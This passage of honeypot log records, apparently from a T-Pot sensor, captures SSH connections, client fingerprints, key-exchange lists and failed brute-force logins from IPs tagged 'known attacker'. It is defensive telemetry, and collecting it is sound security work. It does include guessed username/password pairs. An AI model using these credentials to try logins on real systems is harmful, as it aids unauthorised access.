25600	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:30.268284+03	2021-09-20 14:15:10.363469+03	{"_id": "KwbmAnwBvYTbRNuEdhvB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sandesh/sandesh] failed", "session": "5d3b1bd5c39d", "@version": "1", "password": "sandesh", "username": "sandesh", "timestamp": "2021-09-20T11:10:30.268284Z", "@timestamp": "2021-09-20T11:10:30.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25601	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:10:30.425047+03	2021-09-20 14:15:10.364473+03	{"_id": "LAbmAnwBvYTbRNuEdhvB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "b18a8053f199", "@version": "1", "timestamp": "2021-09-20T11:10:30.425047Z", "@timestamp": "2021-09-20T11:10:30.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25602	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:30.250409+03	2021-09-20 14:15:10.36647+03	{"_id": "NwbmAnwBvYTbRNuEehsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34872, "timestamp": "2021-09-20T11:10:30.250409", "@timestamp": "2021-09-20T11:10:30.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25603	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:10:31.061302+03	2021-09-20 14:15:10.367471+03	{"_id": "OQbmAnwBvYTbRNuEehsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47760, "dest_port": 22, "timestamp": "2021-09-20T11:10:31.061302", "@timestamp": "2021-09-20T11:10:31.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25604	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:30.78043+03	2021-09-20 14:15:10.368471+03	{"_id": "OgbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:47760 (192.168.176.2:22) [session: 9b92c9673a4f]", "session": "9b92c9673a4f", "@version": "1", "protocol": "ssh", "src_port": 47760, "dest_port": 22, "timestamp": "2021-09-20T11:10:30.780430Z", "@timestamp": "2021-09-20T11:10:30.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25605	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:30.927653+03	2021-09-20 14:15:10.37047+03	{"_id": "OwbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:51488 (192.168.176.2:22) [session: ac59f0bea186]", "session": "ac59f0bea186", "@version": "1", "protocol": "ssh", "src_port": 51488, "dest_port": 22, "timestamp": "2021-09-20T11:10:30.927653Z", "@timestamp": "2021-09-20T11:10:30.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25606	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:30.783358+03	2021-09-20 14:15:10.371471+03	{"_id": "RgbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9b92c9673a4f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:30.783358Z", "@timestamp": "2021-09-20T11:10:30.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25607	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:30.822834+03	2021-09-20 14:15:10.37247+03	{"_id": "RwbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sysadmin/PASS] failed", "session": "ebf878bf560e", "@version": "1", "password": "PASS", "username": "sysadmin", "timestamp": "2021-09-20T11:10:30.822834Z", "@timestamp": "2021-09-20T11:10:30.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25608	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:10:31.062071+03	2021-09-20 14:15:10.37347+03	{"_id": "SAbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9b92c9673a4f", "@version": "1", "timestamp": "2021-09-20T11:10:31.062071Z", "@timestamp": "2021-09-20T11:10:31.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25609	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:10:31.240212+03	2021-09-20 14:15:10.37447+03	{"_id": "SQbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [test1/pass123] failed", "session": "b18a8053f199", "@version": "1", "password": "pass123", "username": "test1", "timestamp": "2021-09-20T11:10:31.240212Z", "@timestamp": "2021-09-20T11:10:31.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25610	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:31.472525+03	2021-09-20 14:15:10.37647+03	{"_id": "SgbmAnwBvYTbRNuEehux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ac59f0bea186", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:31.472525Z", "@timestamp": "2021-09-20T11:10:31.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25611	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:31.472264+03	2021-09-20 14:15:10.37747+03	{"_id": "SwbmAnwBvYTbRNuEfBvt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1466327271662726, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51488, "dest_port": 22, "timestamp": "2021-09-20T11:10:31.472264Z", "@timestamp": "2021-09-20T11:10:31.472Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25612	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:31.475099+03	2021-09-20 14:15:10.37847+03	{"_id": "TgbmAnwBvYTbRNuEfhsB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51488, "timestamp": "2021-09-20T11:10:31.475099", "@timestamp": "2021-09-20T11:10:31.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25613	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:31.929872+03	2021-09-20 14:15:10.379472+03	{"_id": "WQbmAnwBvYTbRNuEfhuY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", 